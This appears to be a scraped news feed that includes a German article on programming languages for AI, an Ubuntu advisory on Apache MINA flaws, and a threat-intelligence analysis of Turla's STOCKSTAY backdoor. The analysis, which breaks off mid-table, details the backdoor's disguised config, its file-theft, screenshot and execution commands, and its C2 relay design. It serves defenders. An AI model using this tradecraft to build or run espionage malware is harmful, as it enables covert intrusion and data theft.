<p>Die Familie der JVM-Programmiersprachen (<a title="Java" href="https://www.computerwoche.de/article/2814735/warum-java-immer-noch-rockt.html" target="_blank">Java</a>, Scala, <a title="Kotlin" href="https://www.computerwoche.de/article/2817523/was-ist-kotlin.html" target="_blank">Kotlin</a>, Clojure, etc.) ist weiterhin eine gute Wahl, wenn es um die Entwicklung von KI-Applikationen geht. Eine reichhaltige Auswahl an Bibliotheken steht für nahezu alle Aspekte zur Auswahl – sei es Natural Language Processing (<a title="CoreNLP" href="https://stanfordnlp.github.io/CoreNLP/" target="_blank" rel="noopener">CoreNLP</a>), Tensor Operations oder GPU-beschleunigtes Deep Learning (<a title="DL4J" href="https://deeplearning4j.org/" target="_blank" rel="noopener">DL4J</a>). Darüber hinaus gewährleisten diese Coding-Sprachen auch einfachen Zugang zu Big-Data-Plattformen wie <a title="Apache Spark" href="https://www.infoworld.com/article/2259224/what-is-apache-spark-the-big-data-platform-that-crushed-hadoop.html" target="_blank">Apache Spark</a> und <a title="Apache Hadoop" href="https://hadoop.apache.org/" target="_blank" rel="noopener">Apache Hadoop</a>.</p>



<p>Für die meisten Unternehmen ist <a href="https://www.computerwoche.de/article/2814678/darum-heisst-java-java.html" title="Java" target="_blank">Java</a> die lingua franca – und mit Java 8 und neueren Versionen verliert auch die Erstellung von Java Code ihren Schrecken. Eine <a href="https://www.computerwoche.de/article/2793583/kuenstliche-intelligenz-verdraengt-den-menschen-nicht.html" title="KI-Applikation" target="_blank">KI-Applikation</a> in Java zu programmieren mag sich ein wenig langweilig anfühlen, sorgt aber in der Regel für zufriedenstellende Ergebnisse und ermöglicht Ihnen, alle existierenden Bestandteile einer Java-Infrastruktur für Entwicklung, Deployment und Monitoring einzusetzen.</p>



<h2 class="wp-block-heading">JavaScript</h2>



<p><a href="https://www.computerwoche.de/article/2832952/was-ist-javascript.html" title="JavaScript" target="_blank">JavaScript</a> ausschließlich für die Entwicklung von KI-Applikationen zu erlernen, ist ein höchst unwahrscheinliches Szenario. Allerdings bietet Googles <a href="https://www.tensorflow.org/js" title="TensorFlow.js" target="_blank" rel="noopener">TensorFlow.js</a> weiterhin eine gute Möglichkeit, Ihre Keras- und TensorFlow-Modelle über Browser oder Node.js auszuliefern.</p>



<p>Dennoch ist der große Ansturm von <a href="https://www.computerwoche.de/article/2794625/was-javascript-von-typescript-unterscheidet.html" title="JavaScript-Entwicklern" target="_blank">JavaScript-Entwicklern</a> im Bereich <a href="https://www.computerwoche.de/k/kuenstliche-intelligenz-artifical-intelligence,3544" target="_blank" class="idgGlossaryLink">Künstliche Intelligenz</a> bislang ausgeblieben. Das könnte daran liegen, dass das JavaScript-Ökosystem in Sachen verfügbare Bibliotheken bislang den nötigen Tiefgang vermissen lässt – zumindest im Vergleich zu Programmiersprachen wie Python. Darüber hinaus stehen auf Serverseite durch Deployment-Modelle mit Node.js (wiederum im Vergleich zu den Python-Optionen) keine wirklichen Vorteile in Aussicht. KI-Applikationen auf JavaScript-Basis dürften deshalb auch weiterhin auf Browser-Basis entstehen. </p>



<h2 class="wp-block-heading">Swift</h2>



<p><a href="https://www.tensorflow.org/swift" title="Swift for TensorFlow" target="_blank" rel="noopener">Swift for TensorFlow</a> verbindet die neuesten und besten Features von TensorFlow mit den Vorteilen von Python-Bibliotheken, die sich problemlos einbinden lassen – ganz so als würden Sie Python selbst nutzen.</p>



<p>Das Team von fast.ai werkelt derzeit an einer Swift-Version seiner populären Bibliothek – und stellt zahlreiche Optimierungen in Aussicht, gerade in Zusammenhang mit dem <a href="https://www.computerwoche.de/article/2826586/was-ist-llvm.html" target="_blank">LLVM compiler</a>. Von “production ready” kann zwar noch keine Rede sein, aber auf dieser Grundlage könnte die nächste Generation von Deep-Learning-Entwicklungsarbeit entstehen – Sie sollten Swift deshalb auf alle Fälle im Auge behalten.</p>



<h2 class="wp-block-heading">R</h2>



<p><a href="https://www.r-project.org/" title="R" target="_blank" rel="noopener">R</a> ist die Programmiersprache der Wahl für <a href="https://www.computerwoche.de/article/2774747/was-data-scientists-koennen-muessen.html" title="Data Scientists" target="_blank">Data Scientists</a>. Developer aus anderen Bereichen könnten die Coding-Sprache wegen ihres Dataframe-zentrischen Ansatzes hingegen als verwirrend empfinden.</p>



<p>Für ein Team leidenschaftlicher R-Entwickler kann es durchaus Sinn machen, Integrationen mit <a href="https://www.tensorflow.org/" title="TensorFlow" target="_blank" rel="noopener">TensorFlow</a>, <a href="https://keras.io/" title="Keras" target="_blank" rel="noopener">Keras</a> oder <a href="https://www.h2o.ai/" title="H2O" target="_blank" rel="noopener">H2O</a> für Forschung und Prototyping einzusetzen. Hinsichtlich der Performance ist R für den Produktiveinsatz aber lediglich bedingt zu empfehlen. Zwar lässt sich performanter R Code durchaus produktiv zum Einsatz bringen, einfacher dürfte es aber in den allermeisten Fällen sein, den R-Prototypen in Java oder Python neu zu programmieren.</p>



<h2 class="wp-block-heading">KI programmieren – weitere Optionen</h2>



<p>Natürlich sind die vier genannten Programmiersprachen nicht die einzigen Optionen, um <a href="https://www.computerwoche.de/k/kuenstliche-intelligenz-artifical-intelligence,3544" target="_blank" class="idgGlossaryLink">Künstliche Intelligenz</a> zu programmieren. Die folgenden beiden Coding-Sprachen könnten – je nach Einsatzzweck – ebenfalls von Interesse für Ihre <a href="https://www.computerwoche.de/article/2792741/ki-bewaehrt-sich-in-der-praxis.html" title="KI-Projekte" target="_blank">KI-Projekte</a> sein:</p>



<p><strong><a href="https://www.lua.org/" target="_blank" rel="noreferrer noopener">Lua</a></strong></p>



<p>Vor einigen Jahren wurde Lua als “next big thing” im Bereich der Künstlichen Intelligenz gehandelt. Das lag in erster Linie am <a title="Torch Framework" href="https://torch.ch/" target="_blank" rel="noopener">Torch Framework</a> – eine der populärsten Machine-Learning-Bibliotheken sowohl für den produktiven Einsatz als auch für Forschungszwecke. Wenn Sie in ältere DeepLearning-Modelle abtauchen, finden sich oft zahlreiche Verweise auf Torch und Lua-Quellcode. Es könnte durchaus nützlich sein, sich etwas Knowhow über die Torch API anzueignen, die einige Ähnlichkeiten zur Basis-API von PyTorch aufweist. Wenn Sie allerdings kein gesteigertes Bedürfnis haben, für Ihre Applikationen in historische Forschung abzutauchen, können Sie auf Lua auch gut und gerne verzichten.</p>



<p><strong><a href="https://julialang.org/" target="_blank" rel="noreferrer noopener">Julia</a></strong></p>



<p>Bei Julia handelt es sich um eine High-Performance-Programmiersprache, die ihren Fokus auf numerische Berechnungen legt. Dadurch passt sie auch wunderbar in die mathematisch ausgerichtete Welt der Künstlichen Intelligenz. Julia mag derzeit nicht die populärste Coding-Sprache sein, allerdings bieten Wrapper wie <a title="TensorFlow.jl" href="https://github.com/malmaud/TensorFlow.jl" target="_blank" rel="noopener">TensorFlow.jl</a> und <a title="Mocha" href="https://github.com/pluskid/Mocha.jl" target="_blank" rel="noopener">Mocha</a> guten Deep-Learning-Support. Wenn das relativ kleine Ökosystem kein Ausschlusskriterium für Sie darstellt und Sie von Julias Fokus auf High-Performance-Berechnungen profitieren wollen, sollten Sie einen Blick riskieren. (fm)</p>



<p><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/2258342/6-best-programming-languages-for-ai-development.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple übernimmt Swift Package Index – Plattform bleibt Open Source]]></title>
<description><![CDATA[Apple hat den beliebten Entwicklerdienst Swift Package Index übernommen. Die gute Nachricht für die Community: Trotz der Übernahme soll die Plattform auch künftig als Open-Source-Projekt weitergeführt werden. Swift Package Index hat sich in den vergangenen Jahren zu einer wichtigen Anlaufstelle f...]]></description>
<link>https://tsecurity.de/de/3625405/ios-mac-os/apple-uebernimmt-swift-package-index-plattform-bleibt-open-source/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3625405/ios-mac-os/apple-uebernimmt-swift-package-index-plattform-bleibt-open-source/</guid>
<pubDate>Thu, 25 Jun 2026 19:07:48 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple hat den beliebten Entwicklerdienst Swift Package Index übernommen. Die gute Nachricht für die Community: Trotz der Übernahme soll die Plattform auch künftig als Open-Source-Projekt weitergeführt werden. Swift Package Index hat sich in den vergangenen Jahren zu einer wichtigen Anlaufstelle für Entwickler entwickelt, die mit der Programmiersprache Swift arbeiten. Die Plattform hilft dabei, Bibliotheken und […]]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8465-1: Apache MINA vulnerabilities]]></title>
<description><![CDATA[It was discovered that Apache MINA lacked an acceptMatchers allowlist
mechanism to restrict which classes could be deserialized. An attacker
could use this to execute arbitrary code. This issue only affected
Ubuntu 22.04 LTS and Ubuntu 24.04 LTS. (CVE-2024-52046)

It was discovered that Apache MI...]]></description>
<link>https://tsecurity.de/de/3625089/unix-server/usn-8465-1-apache-mina-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3625089/unix-server/usn-8465-1-apache-mina-vulnerabilities/</guid>
<pubDate>Thu, 25 Jun 2026 17:31:26 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that Apache MINA lacked an acceptMatchers allowlist
mechanism to restrict which classes could be deserialized. An attacker
could use this to execute arbitrary code. This issue only affected
Ubuntu 22.04 LTS and Ubuntu 24.04 LTS. (CVE-2024-52046)

It was discovered that Apache MINA's deserialization filter could be
bypassed via multiple code paths. An attacker could use this to execute
arbitrary code by sending a specially crafted serialized object over the
network. (CVE-2026-42778, CVE-2026-42779, CVE-2026-47065)]]></content:encoded>
</item>
<item>
<title><![CDATA[STOCKSTAY Another Day: The Latest Addition to Turla’s Intelligence Gathering Apparatus]]></title>
<description><![CDATA[Written by: Jordan Jones

Introduction 
Google Threat Intelligence Group (GTIG) has conducted an in-depth analysis of a .NET backdoor, tracked as STOCKSTAY, that has been continually developed and deployed by the Russia-linked threat actor Turla (aka SUMMIT, Secret Blizzard, VENOMOUS BEAR, UAC-01...]]></description>
<link>https://tsecurity.de/de/3624817/it-security-nachrichten/stockstay-another-day-the-latest-addition-to-turlas-intelligence-gathering-apparatus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3624817/it-security-nachrichten/stockstay-another-day-the-latest-addition-to-turlas-intelligence-gathering-apparatus/</guid>
<pubDate>Thu, 25 Jun 2026 16:09:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Jordan Jones</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction</span><strong> </strong></h3>
<p><span>Google Threat Intelligence Group (GTIG) has conducted an in-depth analysis of a .NET backdoor, tracked as STOCKSTAY, that has been continually developed and deployed by the Russia-linked threat actor Turla (aka SUMMIT, Secret Blizzard, VENOMOUS BEAR, UAC-0194) since at least December 2022. Turla has deployed STOCKSTAY against government and military organizations in Ukraine, as well as entities with an interest in Italian foreign policy. Used for ongoing cyber espionage, this backdoor shares significant code and functional overlaps with KAZUAR, a successful toolkit previously attributed to Turla. The group has a long history of targeting a wide range of industries, with a particular focus on western Ministries of Foreign Affairs, and defense organizations within the context of heightened political tensions. </span></p>
<p><span>Turla, and specifically their longstanding Snake implant, has been publicly </span><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a" rel="noopener" target="_blank"><span>attributed</span></a><span> by the United States Cybersecurity and Infrastructure Security Agency (CISA) to Center 16 of Russia’s Federal Security Service (FSB). Turla is one of the oldest known cyber espionage groups with suspected activity dating back to </span><a href="https://unit42.paloaltonetworks.com/turla-pensive-ursa-threat-assessment/" rel="noopener" target="_blank"><span>at least 2004</span></a><span>. The actor remains active and continues to evolve its delivery methods, as demonstrated by its </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger/"><span>deployment of specialized scripts</span></a><span> to intercept secure communications from Signal Messenger users, its </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/turla-galaxy-opportunity/"><span>hijacking of legacy criminal botnets</span></a><span> to target Ukrainian organizations, and its </span><a href="https://www.microsoft.com/en-us/security/blog/2026/05/14/kazuar-anatomy-of-a-nation-state-botnet/" rel="noopener" target="_blank"><span>recent campaigns</span></a><span> targeting military defense sectors using the highly sophisticated KAZUAR toolkit. As part of our continued tracking of this group, this blog post provides an overview of our STOCKSTAY analysis, includes a timeline of key developmental and operational observations, and examines its similarities to KAZUAR to contextualize this new capability within Turla’s ever-growing arsenal.</span></p>
<h3><span>STOCKSTAY Overview</span></h3>
<p><span>STOCKSTAY is a multi-component backdoor written in .NET, using the Windows Forms framework, which communicates with its command and control (C2) via a secure WebSocket connection, utilizing the open-source </span><a href="https://github.com/sta/websocket-sharp" rel="noopener" target="_blank"><span>websocket-sharp</span></a><span> library. STOCKSTAY consists of several distinct components that communicate with one another via an inter-process communication (IPC) channel, based on the exchange of </span><a href="https://learn.microsoft.com/en-us/windows/win32/dataxchg/wm-copydata" rel="noopener" target="_blank"><span>WM_COPYDATA</span></a><span> messages. </span></p>
<p><span>STOCKSTAY was originally designed to masquerade as a stock market data viewing tool, incorporating this disguise in both its file naming scheme and its storage of implant configuration, control messages, and response data. While initial versions of the malware observed by GTIG retained the internal aspects of this disguise, in 2025 we identified variants of STOCKSTAY masquerading as other benign applications, such as PDF viewers and calculator utilities.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig1.max-1000x1000.png" alt="Overview of STOCKSTAY malware architecture">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="nw27v">Figure 1: Overview of STOCKSTAY malware architecture</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h4><span>STOCKSTAY.STOCKBROKER</span></h4>
<p><span>STOCKSTAY.STOCKBROKER is a proxy-aware tunneler which provides network communication capabilities to the wider STOCKSTAY ecosystem. STOCKSTAY.STOCKBROKER, internally referred to as "</span><code>net</code><span>", can be instructed to establish a secure WebSocket connection to a specified remote server, after which it acts as a relay between the server and the STOCKSTAY.STOCKMARKET orchestrator. As a result, all C2 communication between STOCKSTAY and the configured C2 server are handled by STOCKSTAY.STOCKBROKER, isolating the malware’s network communications from other malicious host-based activity on the infected machine. </span></p>
<h4><span>STOCKSTAY.STOCKMARKET</span></h4>
<p><span>STOCKSTAY.STOCKMARKET, internally referred to as “</span><code>cor</code><span>”, is the orchestrator of the STOCKSTAY ecosystem, and enables the implant’s configurability. The malware’s configuration is loaded from an encrypted on-disk configuration file which specifies several options regarding the malware’s execution, including the details of the remote WebSocket server required by STOCKSTAY.STOCKBROKER. The configuration file attempts to disguise itself as a legitimate file by including various legitimate URLs associated with cryptocurrency markets, as well as falsified descriptions of each configuration field (Figure 2). Encrypted configuration data is embedded within the decoy fields, which is decrypted by STOCKSTAY.STOCKMARKET.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>{
  "Name": "StockMarket",
  "Description": "An application for getting information about current events on trading platforms. To set the time for updating information, enter a value in minutes in the `Interval` field. In the future, support for themes will be added. The `SystemConfiguration` field stores the system settings of the application. In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`.",
  "Theme": "Dark",
  "SystemConfiguration": [
    "1D.AA.79.9F.45.AA.04.B3.&lt;snipped&gt;.68.0A.5D.A3.E6.A3.82.FA",
    "6F.41.4D.6D.C3.20.E5.32.&lt;snipped&gt;.00.B8.26.DF.E1.13.0A.21",
    "4.4.3.12"
  ],
  "Interval": 10,
  "Services": [
    "wss://ws-api.binance.com:443/ws-api/v3",
    "wss://ws-feed.exchange.coinbase.com",
    "wss://ws-feed-public.sandbox.exchange.coinbase.com",
    "wss://stream.bybit.com/v5/public/spot",
    "wss://stream.bybit.com/v5/public/linear"
  ],
  "Version": "2022-12-21"
}</code></pre>
<p><span><span>Figure 2: Encrypted STOCKSTAY configuration file format, falsely describing itself as an application for trading information</span></span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>{
  "internal_id": "&lt;server_identifier&gt;",
  "internal_key": "&lt;server_public_key&gt;",
  "interval_engine": "600000",
  "level_info": "0",
  "time_scale": "1",
  "span_min": "9",
  "span_max": "18",
  "rate": "2700",
  "rate_control": "false",
  "service": "&lt;websocket_c2_url&gt;",
  "days_not_work": "Saturday;Sunday;",
  "system_properties": "eyJzeXN0ZW1fZGF0YV9zaXplIjoiNDAwMDAwIn0="
}</code></pre>
<p><span><span>Figure 3: Decrypted STOCKSTAY configuration file format (extracted from </span><code>SystemConfiguration</code><span> field)</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>STOCKSTAY.STOCKMARKET communicates with STOCKSTAY.STOCKBROKER in order to provide details of the WebSocket server, and to subsequently send and receive messages via the established WebSocket connection, usually containing the results of executed commands. STOCKSTAY.STOCKMARKET also communicates with the STOCKSTAY.STOCKTRADER component in order to issue commands to be executed on the infected host.</span></p>
<p><span>On first execution, STOCKSTAY.STOCKMARKET generates a unique 4096-bit RSA key pair, to be used throughout the implant’s lifecycle to encrypt outbound data prior to being sent via WebSocket. The implant’s public key is sent to the server in the malware’s first request, to enable the server to decrypt task responses. STOCKSTAY.STOCKMARKET also generates a unique infection identifier to be used by the C2 server to determine the intended receiver of tasking. STOCKSTAY’s configuration file specifies an </span><span>“</span><code>internal_id</code><span>” field, which GTIG assesses represents an identifier for the server-side component of the malware ecosystem. We assess that this identifier is used by the malware’s operators to retrieve responses from interim C2 servers which may be used by multiple operators. To date, GTIG has observed only a single unique value for this identifier and is unable to determine whether multiple operators are leveraging STOCKSTAY at this time due to insufficient telemetry.</span></p>
<h4><span>STOCKSTAY.STOCKTRADER</span></h4>
<p><span>STOCKSTAY.STOCKTRADER, internally referred to as “</span><code>sys</code><span>”, is the backdoor component of the STOCKSTAY ecosystem, and supports a range of registry, file, and command execution operations on the infected host, as detailed in Table 1.</span></p></div>
<div class="block-paragraph_advanced"><div align="center">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<thead>
<tr>
<th scope="col">
<p><span>Task Command Name</span></p>
</th>
<th scope="col">
<p><span>Description</span></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><code>Del</code></p>
</td>
<td>
<p><span>Delete the specified files.</span></p>
<p><span>Requires a semi-colon-separated list of file paths, each of which will be deleted. Confirmation of each deleted file, or deletion failure, is returned to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Dir</code></p>
</td>
<td>
<p><span>Generate a listing of the specified directories.</span></p>
<p><span>Requires a semi-colon-separated list of directory paths, each of which will be enumerated with the paths of all contained files and subdirectories being returned to the C2.</span></p>
<p><span>Optionally performs recursive directory listing.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Get</code></p>
</td>
<td>
<p><span>Retrieve one or more specified files. Allows for collection of files with specific extensions.</span></p>
<p><span>Requires a semi-colon-separated list of file or directory paths, and a list of target file extensions. If a file path is included in the list, this file will be returned. If instead a directory path is included in the list, the malware will perform an optionally recursive search of the directory to identify any files matching the target file extensions. </span></p>
<p><span>All files matching either the specified file paths, or the target file extensions, will be added to an in-memory ZIP archive and subsequently base64-encoded for transmission to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Image</code></p>
</td>
<td>
<p><span>Perform a screen-capture of the victim’s screen.</span></p>
<p><span>The resultant image is base64-encoded for transmission to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>MkDir</code></p>
</td>
<td>
<p><span>Create one or more directories.</span></p>
<p><span>Requires a semi-colon-separated list of directory paths, each of which will be created. Confirmation of each created directory, or any resultant error, is returned to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>MultyTask</code></p>
</td>
<td>
<p><span>Process multiple tasks at once.</span></p>
<p><span>Requires a semi-colon-separated list of tasks, each of which must be a serialized JSON object containing an individual task.</span></p>
<p><span>Each task is submitted to the malware’s command-manager in-turn, with all command output being discarded; no data is returned to the C2 when processing multiple tasks at once.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Put</code></p>
</td>
<td>
<p><span>Upload a file to the device.</span></p>
<p><span>Requires a base64-encoded string representation of the file content to be written to the specified filepath. The required file write operation is performed in “Append” mode.</span></p>
<p><span>Confirmation of file upload, or details of any relevant error, is returned to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>RegDelete</code></p>
</td>
<td>
<p><span>Delete a registry value.</span></p>
<p><span>Requires a registry key and corresponding value name to delete.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>RegRead</code></p>
</td>
<td>
<p><span>Read a registry value.</span></p>
<p><span>Requires a registry key and corresponding value name to read.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>RegWrite</code></p>
</td>
<td>
<p><span>Set a registry value. </span></p>
<p><span>Requires a registry key and corresponding value name, as well as the value and data type used to populate the registry value. </span></p>
</td>
</tr>
<tr>
<td>
<p><code>RmDir</code></p>
</td>
<td>
<p><span>Delete the specified directories.</span></p>
<p><span>Requires a semi-colon-separated list of directory paths, each of which will be deleted. Confirmation of each deleted directory, or deletion failure, is returned to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Run</code></p>
</td>
<td>
<p><span>Execute a new process.</span></p>
<p><span>Requires a path to the file to execute and its corresponding arguments. A default timeout of 60 seconds is hard-coded into the malware, however this can be overridden by the task configuration.</span></p>
<p><span>All subprocesses are created windowless with redirected stdout.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Sysinfo</code></p>
</td>
<td>
<p><span>Conduct a system survey to gather key information about the infected host.</span></p>
<p><span>Operating system information is collected via the Windows Management Instrumentation (WMI) ManagementObjectSearcher, specifically the following fields:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>OSVersion</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Architecture</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>SerialNumber</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>CodeSet</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>CountryCode</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Locale</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>InstallDate</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>BootupTime</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>MachineName</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>SystemDirectory</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>LocalTime</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>AnsiCodePage</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>UserName</span></p>
</li>
</ul>
<p><span>With respect to hardware, WMI is queried for the following:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>ProcessorName</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>NumberCores</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>ClockSpeed</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>MemoryCapacity</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>MemoryType</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>DiskModel </span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>DiskSize</span></p>
</li>
</ul>
<p><span>The malware also captures a list of the names of running processes.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>UnpackArchive</code></p>
</td>
<td>
<p><span>Extract the specified ZIP file to its current directory.</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 1: Backdoor commands supported by STOCKSTAY.STOCKTRADER</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>Related Downloaders and Installers</span></h4>
<h5><span>STOCKSTAY.MARKETMAKER</span></h5>
<p><span>STOCKSTAY.MARKETMAKER is a proxy-aware downloader written in .NET using the Windows Forms framework that downloads and extracts additional payloads from a remote server, establishes persistence through Windows registry modifications, and runs silently in the background with no user interface. This downloader has been observed masquerading as "MicrosoftUpdateOneDrive" to appear legitimate while setting up multiple autorun entries to execute the core components of STOCKSTAY.</span></p>
<h5><span>.NET AppDomainManager</span></h5>
<p><span>During our analysis, GTIG identified what we believe to be an early development sample of STOCKSTAY.MARKETMAKER which, instead of downloading the required components, was dependent on external mechanisms (such as </span><a href="https://attack.mitre.org/techniques/T1574/014/" rel="noopener" target="_blank"><span>.NET AppDomainManager injection</span></a><span>) for the initial deployment of samples to the target host.</span></p>
<h4><span>STOCKSTAY Server-Side Controller</span></h4>
<p><span>GTIG identified a publicly accessible GitHub repository containing a Python implementation of the victim-facing STOCKSTAY WebSocket server controller. The lightweight design of the server component appears to supplement the threat actor’s usage of third-party hosting platforms such as </span><a href="https://render.com/" rel="noopener" target="_blank"><span>Render</span></a><span> platform which provides a platform for hosting web services, including </span><a href="https://render.com/docs/websocket" rel="noopener" target="_blank"><span>WebSockets</span></a><span>. The inability for the server to decrypt inbound messages prevents introspection by platform operators, and further obfuscates the location of the threat actor’s dedicated infrastructure. This architecture somewhat resembles Turla’s multi-hop KAZUAR C2 infrastructure.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig4.max-1000x1000.png" alt="Overview of STOCKSTAY C2 Infrastructure">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="s9mt0">Figure 4: Overview of STOCKSTAY C2 Infrastructure</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>The server extends </span><code>tornado.websocket.WebSocketHandler</code><span> to provide the interface described in Table 2, under the path </span><code>/ws</code><span>; aligning with all observed STOCKSTAY WebSocket C2 URLs.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong><span>Event</span></strong></p>
</td>
<td>
<p><strong><span>Description</span></strong></p>
</td>
</tr>
<tr>
<td>
<p><a href="https://www.tornadoweb.org/en/stable/websocket.html#tornado.websocket.WebSocketHandler.check_origin" rel="noopener" target="_blank"><span>WebSocketHandler.check_origin</span></a></p>
</td>
<td>
<p><span>Hard-coded to return True to </span><span>accept all cross-origin traffic.</span></p>
</td>
</tr>
<tr>
<td>
<p><a href="https://www.tornadoweb.org/en/stable/websocket.html#tornado.websocket.WebSocketHandler.open" rel="noopener" target="_blank"><span>WebSocketHandler.open</span></a></p>
</td>
<td>
<p><span>Logs the client’s IP address using the following string format:</span></p>
<p><code>WebSocket open. IP: {client_ip}</code></p>
</td>
</tr>
<tr>
<td>
<p><a href="https://www.tornadoweb.org/en/stable/websocket.html#tornado.websocket.WebSocketHandler.on_message" rel="noopener" target="_blank"><span>WebSocketHandler.on_message</span></a></p>
</td>
<td>
<p><span>Handles inbound messages from the connected client.</span></p>
<p><span>Inbound messages are base64-decoded before being parsed as JSON into an object internally known as a “package”.</span></p>
<p><span>Each “package” contains an “action” and a “container”, which provide the request’s type and associated data, respectively. The following describes the handling logic of each action type.</span></p>
<p><strong>Action: </strong><strong>send</strong></p>
<p><span>The server extracts the following attributes from the inbound message’s “container” and inserts them into a new row within the local </span><code>weather_data</code><span> database table.</span></p>
<p><code>container.target</code></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>The STOCKSTAY client populates this field with the </span><code>internal_id</code><span> or </span><code>i_id</code><span> field from the config file.</span></p>
</li>
</ul>
<p><code>container.sender</code></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>The STOCKSTAY client populates this field with the unique client uuid generated on first execution.</span></p>
</li>
</ul>
<p><code>container.message</code></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>This field contains the encrypted message body in a format referred to within the STOCKSTAY client as “CryptoContainer”. </span></p>
</li>
</ul>
<p><span>On completion, the server logs the following message:</span></p>
<p><code>Action: send; trgt={target_id}; sndr={sender_id}</code></p>
<p><strong>Action: </strong><strong>recv</strong></p>
<p><span>Inbound </span><code>recv</code><span> requests simply specify the </span><code>container.sender</code><span> attribute, which corresponds with the client’s unique identifier.</span></p>
<p><span>The server then retrieves all messages from the </span><code>weather_data</code><span> database table where the target identifier (“degrees” column) matches the specified </span><code>container.sender</code><span>. This has the effect of allowing the client to retrieve all messages intended for it, such as those sent to the server by an upstream C2 controller.</span></p>
<p><span>Each matching row is returned to the client in the following format, before being deleted from the database.<br><br></span></p>
<pre class="language-plain"><code>{
	"target": degrees,
	"sender": pressure,
	"message": wdata,
	"ip": coords,
	"time": datetime
}</code></pre>
<p><span>On completion, the server logs the following message:</span></p>
<p><code>Action: recv; sndr={sender}</code></p>
</td>
